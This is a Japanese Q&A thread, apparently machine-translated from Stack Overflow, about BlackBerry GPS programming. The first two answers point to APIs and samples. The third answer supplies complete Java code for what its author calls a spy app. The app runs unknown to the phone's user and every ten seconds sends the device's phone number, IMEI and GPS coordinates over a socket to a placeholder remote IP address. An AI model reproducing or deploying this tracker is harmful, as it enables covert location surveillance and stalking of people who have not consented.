BlackBerryでGPSプログラムを作成する方法を教えてください。
質問する
2177 次
3 に答える
3
javax.microedition.locationを使用する
BB Dev Lab-位置情報サービス(ZIP)の概要を参照してください
。ToniWestbrook-
BlackberryGPSトラッカーの作成riccomini-コードblackberrygpsriccomini-コードブラックベリーストームgps
4.5 / 4.6 Eclipseプラグイン(components \ samples \ com \ rim \ samples \ device)のblackberrymapsdemoおよびgpsdemoサンプルも参照してください。
于 2009-08-29T17:00:36.900 に答える
2
BlackBerry で GPS プログラミングを行っている場合、次の 2 つの優れた情報源があります。
ソース: http://blackberry.synclastic.com/blackberry-gps-programming/
于 2009-08-29T07:50:42.380 に答える
0
私は、ユーザーのGPS位置をサーバーに送信するためのスパイアプリを作成する必要があるプロジェクトに取り組んできました。ここに彼がいることを知らずに、それが少し役立つことを願っています。
package mypackage;
import java.io.OutputStreamWriter;
import java.util.Date;
import java.util.Timer;
import java.util.TimerTask;
import javax.microedition.io.Connector;
import javax.microedition.io.SocketConnection;
import javax.microedition.location.LocationProvider;
import net.rim.blackberry.api.phone.Phone;
import net.rim.device.api.gps.BlackBerryCriteria;
import net.rim.device.api.gps.BlackBerryLocation;
import net.rim.device.api.gps.BlackBerryLocationProvider;
import net.rim.device.api.gps.GPSInfo;
import net.rim.device.api.i18n.SimpleDateFormat;
import net.rim.device.api.system.Application;
import net.rim.device.api.system.IDENInfo;
import net.rim.device.api.ui.component.Dialog;
public class MyApp extends Application
{
public BlackBerryCriteria _criteria;
public BlackBerryLocationProvider _locationProvider;
public BlackBerryLocation _location;
public SocketConnection socket;
double lat;
double lon;
public Timer _timer;
public TimerTask _timerTask;
public String _imei;
public Date date;
public String pNumber;
public static void main(String[] args)
{
MyApp theApp = new MyApp();
theApp.enterEventDispatcher();
}
public MyApp()
{
_imei = IDENInfo.imeiToString(IDENInfo.getIMEI());
pNumber = Phone.getDevicePhoneNumber(true);
_criteria = new BlackBerryCriteria();
if(GPSInfo.isGPSModeAvailable(GPSInfo.GPS_MODE_AUTONOMOUS)){
_criteria.setMode(GPSInfo.GPS_MODE_AUTONOMOUS);
}else{
Dialog.alert("GPS not Available");
}
_timer = new Timer();
_timerTask = new TimerTask(){
public void run() {
try{
String currentdate = new SimpleDateFormat("yy/MM/dd").format(new Date(System.currentTimeMillis()));
_criteria.setHorizontalAccuracy(5);
_criteria.setVerticalAccuracy(5);
_criteria.setPreferredResponseTime(10000);
_locationProvider = (BlackBerryLocationProvider)LocationProvider.getInstance(_criteria);
_location= (BlackBerryLocation)_locationProvider.getLocation(-1);
lat =_location.getQualifiedCoordinates().getLatitude();
lon = _location.getQualifiedCoordinates().getLongitude();
String url = "<your IP address with port no(Format: 000.000.000.000:Port>;deviceside = false";
socket = (SocketConnection)Connector.open(url,Connector.READ_WRITE);
socket.setSocketOption(SocketConnection.KEEPALIVE,1);
OutputStreamWriter _out = new OutputStreamWriter(socket.openOutputStream());
String data = pNumber+"##"+_imei+"##"+lat+"##"+lon+"##"+currentdate+"##";
int length = data.length();
_out.write(data,0,length);
_out.close();
socket.close();
}catch(Exception e){
Dialog.alert(e.toString());
}
}
};
_timer.scheduleAtFixedRate(_timerTask, 0,10000);
}
}
于 2011-12-08T07:47:59.730 に答える